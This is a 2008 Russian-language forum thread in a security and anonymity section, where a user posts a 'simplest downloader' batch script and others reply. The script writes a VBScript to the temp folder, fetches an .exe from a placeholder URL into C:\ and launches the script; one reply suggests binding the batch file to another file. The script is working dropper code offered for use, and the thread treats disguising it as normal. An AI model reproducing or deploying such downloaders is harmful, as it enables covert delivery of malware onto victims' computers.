Batch Web Downloader

Discussion in 'Безопасность и Анонимность' started by asser, 7 Jul 2008.

  1. asser

    asser Elder - Старейшина

    Joined:
    25 Jan 2008
    Messages:
    31
    Likes Received:
    5
    Reputations:
    0
    Простейшая реализация downloader
    Правим, сохраняем в *bat\*cmd
    Думаю, дальше пояснять не стоит, ибо сложного ничего нет=)
    PHP:
    @echo off
    set file
    ="http://tvoi_sait.ru/file.exe"
    set dlto="C:\"
    ::----------------

    if exist %temp%\dl.vbs del /q %temp%\dl.vbs
    echo HTTPDownload %file%,%dlto% >> %temp%\dl.vbs
    echo Sub HTTPDownload( myURL, myPath ) >> %temp%\dl.vbs
    echo Dim i, objFile, objFSO, objHTTP, strFile, strMsg >> %temp%\dl.vbs
    echo Const ForReading = 1, ForWriting = 2, ForAppending = 8 >> %temp%\dl.vbs
    echo Set objFSO = CreateObject( "
    Scripting.FileSystemObject" ) >> %temp%\dl.vbs
    echo If objFSO.FolderExists( myPath ) Then >> %temp%\dl.vbs
    echo strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "
    /" ) + 1 ) ) >> %temp%\dl.vbs
    echo ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "
    \" ) - 1 ) ) Then >> %temp%\dl.vbs
    echo strFile = myPath >> %temp%\dl.vbs

    echo Else >> %temp%\dl.vbs
    echo Exit Sub >> %temp%\dl.vbs
    echo End If >> %temp%\dl.vbs
    echo Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True ) >> %temp%\dl.vbs
    echo Set objHTTP = CreateObject( "
    WinHttp.WinHttpRequest.5.1" ) >> %temp%\dl.vbs
    echo objHTTP.Open "
    GET", myURL, False >> %temp%\dl.vbs
    echo objHTTP.Send >> %temp%\dl.vbs
    echo For i = 1 To LenB( objHTTP.ResponseBody ) >> %temp%\dl.vbs
    echo objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) ) >> %temp%\dl.vbs
    echo Next >> %temp%\dl.vbs
    echo objFile.Close( ) >> %temp%\dl.vbs
    echo End Sub >> %temp%\dl.vbs

    start %temp%\dl.vbs
     
    3 people like this.
  2. 3.0.C

    3.0.C New Member

    Joined:
    8 Jan 2008
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Good Man ... But Not To Open Automatically After Download
     
  3. GALIAFF

    GALIAFF Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    45
    Likes Received:
    28
    Reputations:
    5
    а почему бы сразу в вбс не сохранить?
     
  4. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    Не понятная затея ,когда есть более мощные утилиты типа wget.
     
  5. _SploiT_

    _SploiT_ Elder - Старейшина

    Joined:
    9 May 2007
    Messages:
    88
    Likes Received:
    16
    Reputations:
    1
    А смысл..? легче бат и склеет с чем нибуть.. :)